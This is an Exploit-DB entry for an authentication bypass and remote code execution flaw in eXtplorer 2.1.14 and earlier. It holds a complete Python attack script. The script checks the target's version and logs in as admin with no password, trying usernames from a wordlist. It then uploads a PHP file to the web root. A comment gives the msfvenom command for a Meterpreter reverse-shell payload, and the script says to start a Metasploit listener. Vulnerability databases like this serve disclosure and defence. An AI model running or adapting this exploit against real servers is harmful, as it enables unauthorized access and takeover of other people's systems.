Lucene search

K
exploitdbErPacioccoEDB-ID:51067
HistoryMar 27, 2023 - 12:00 a.m.

eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)

2023-03-2700:00:00
ErPaciocco
www.exploit-db.com
102
extplorer
authentication bypass
remote code execution
erpaciocco
php
javascript
file manager
admin panel
vulnerability
exploit
windows
ftp
post request
proof of concept
requests
python script

7.4 High

AI Score

Confidence

Low

# Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)
# Exploit Author: ErPaciocco
# Author Website: https://erpaciocco.github.io
# Vendor Homepage: https://extplorer.net/
#
#   Vendor:
#   ==============
#   extplorer.net
#
#   Product:
#   ==================
#   eXtplorer <= v2.1.14
#
#   eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
#   directories, edit, copy, move, delete,
#   search, upload and download files, create & extract archives, create new
#   files and directories, change file
#   permissions (chmod) and more. It is often used as FTP extension for popular
#   applications like Joomla.
#
#   Vulnerability Type:
#   ======================
#   Authentication Bypass (& Remote Command Execution)
#
#
#   Vulnerability Details:
#   =====================
#
#   eXtplorer authentication mechanism allows an attacker
#   to login into the Admin Panel without knowing the password
#   of the victim, but only its username. This vector is exploited
#   by not supplying password in POST request.
#
#
#   Tested on Windows
#   
#
#   Reproduction steps:
#   ==================
#
#   1) Navigate to Login Panel
#   2) Intercept authentication POST request to /index.php
#   3) Remove 'password' field
#   4) Send it and enjoy!
#
#
#   Exploit code(s):
#   ===============
#
#   Run below PY script from CLI...
#
#   [eXtplorer_auth_bypass.py]
#

#   Proof Of Concept

try:
    import requests
except:
    print(f"ERROR: RUN: pip install requests")
    exit()
import sys
import time
import urllib.parse
import re
import random
import string
import socket
import time
import base64

TARGET = None
WORDLIST = None

_BUILTIN_WL = [
    'root',
    'admin',
    'test',
    'guest',
    'info',
    'adm',
    'user',
    'administrator'
    ]

_HOST = None
_PATH = None
_SESSION = None
_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0',
             'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
             'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3',
             'Accept-Encoding': 'gzip, deflate, br',
             'Connection': 'keep-alive' }

def detect():
        global _HOST
        global _PATH
        global _SESSION
        global _HEADERS
        
        _HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2]
        _PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/')
        

        
        _SESSION = requests.Session()

        raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False)

        if raw.status_code == 200:
            ver = re.findall("<version>(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE)
            
            if int(ver[0][2]) < 15:
                return True

        return False
        

def auth_bypass():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS

    global WORDLIST
    global _BUILTIN_WL
    
    _HEADERS['X-Requested-With'] = 'XMLHttpRequest'
    
    params = {'option': 'com_extplorer',
              'action': 'login',
              'type': 'extplorer',
              'username': 'admin',
              'lang':'english'}

    if WORDLIST != None:
        if WORDLIST == _BUILTIN_WL:
            info(f"Attempting to guess an username from builtin wordlist")
            wl = _BUILTIN_WL
        else:
            info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}")
            with open(WORDLIST[0], "r") as f:
                wl = f.read().split('\n')
        for user in wl:
            params = {'option': 'com_extplorer',
                'action': 'login',
                'type': 'extplorer',
                'username': user,
                'lang':'english'}

            info(f"Trying with {user}")
                    
            res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)
            if "successful" in res.text:
                return (user)
    else:
        res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)

    if "successful" in res.text:
        return ('admin')

    return False

def rce():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS
    global _PAYLOAD
    
    tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js")
    token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0]

    info(f"CSRF Token obtained: {token}")

    payload = editPayload()

    info(f"Payload edited to fit local parameters")


    params = {'option': 'com_extplorer',
              'action': 'upload',
              'dir': f"./{_PATH}",
              'requestType': 'xmlhttprequest',
              'confirm':'true',
              'token': token}
    name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
    files = {'userfile[0]':(f"{name}.php", payload)}
    
    req = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False)

    if "successful" in req.text:
        info(f"File {name}.php uploaded in root dir")
        info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php")

def attack():
    if not TARGET:
        error("TARGET needed")

    if TARGET:
        if not detect():
            error("eXtplorer vulnerable instance not found!")
            exit(1)
        else:
            info("eXtplorer endpoint is vulnerable!")
            username = auth_bypass()
            if username:
                info("Auth bypassed!")
                rce()
            else:
                error("Username 'admin' not found")

def error(message):
    print(f"[E] {message}")

def info(message):
    print(f"[I] {message}")

def editPayload():
    # You can generate payload with msfvenom and paste below base64 encoded result
    # msfvenom -p php/meterpreter_reverse_tcp LHOST=<yourIP> LPORT=<yourPORT> -f base64
    return base64.b64decode("PD9waHAgZWNobyAiSEFDS0VEISI7ICA/Pg==")

def help():
    print(r"""eXtplorer <= 2.1.14 exploit - Authentication Bypass & Remote Code Execution

Usage:
  python3 eXtplorer_auth_bypass.py -t <target-host> [-w <userlist>] [-wb]

Options:
  -t    Target host. Provide target IP address (and optionally port).
  -w    Wordlist for user enumeration and authentication (Optional)
  -wb   Use built-in wordlist for user enumeration (Optional)
  -h    Show this help menu.
""")
    return True

args = {"t" : (1, lambda *x: (globals().update(TARGET = x[0]))),
        "w" : (1, lambda *x: (globals().update(WORDLIST = x[0]))),
        "wb": (0, lambda *x: (globals().update(WORDLIST = _BUILTIN_WL))),
        "h" : (0, lambda *x: (help() and exit(0)))}

if __name__ == "__main__":
    i = 1
    [
        args[ arg[1:]][1](sys.argv[i+1: (i:=i+1+args[arg[1:]][0]) ])
        for arg in [k
             for k in sys.argv[i:]
        ]
        if arg[0] == '-'
    ]
    attack()
else:
    help()
        

#   ///////////////////////////////////////////////////////////////////////

#   [Script examples]
#
#
#   c:\>python eXtplorer_auth_bypass.py -t https://target.com
#   c:\>python eXtplorer_auth_bypass.py -t http://target.com:1234 -w wordlist.txt
#   c:\>python eXtplorer_auth_bypass.py -t http://target.com -wb

#   Exploitation Method:
#   ======================
#   Remote

#   [+] Disclaimer
#   The information contained within this advisory is supplied "as-is" with no
#   warranties or guarantees of fitness of use or otherwise.
#   Permission is hereby granted for the redistribution of this advisory,
#   provided that it is not altered except by reformatting it, and
#   that due credit is given. Permission is explicitly given for insertion in
#   vulnerability databases and similar, provided that due credit
#   is given to the author. The author is not responsible for any misuse of the
#   information contained herein and accepts no responsibility
#   for any damage caused by the use or misuse of this information.

7.4 High

AI Score

Confidence

Low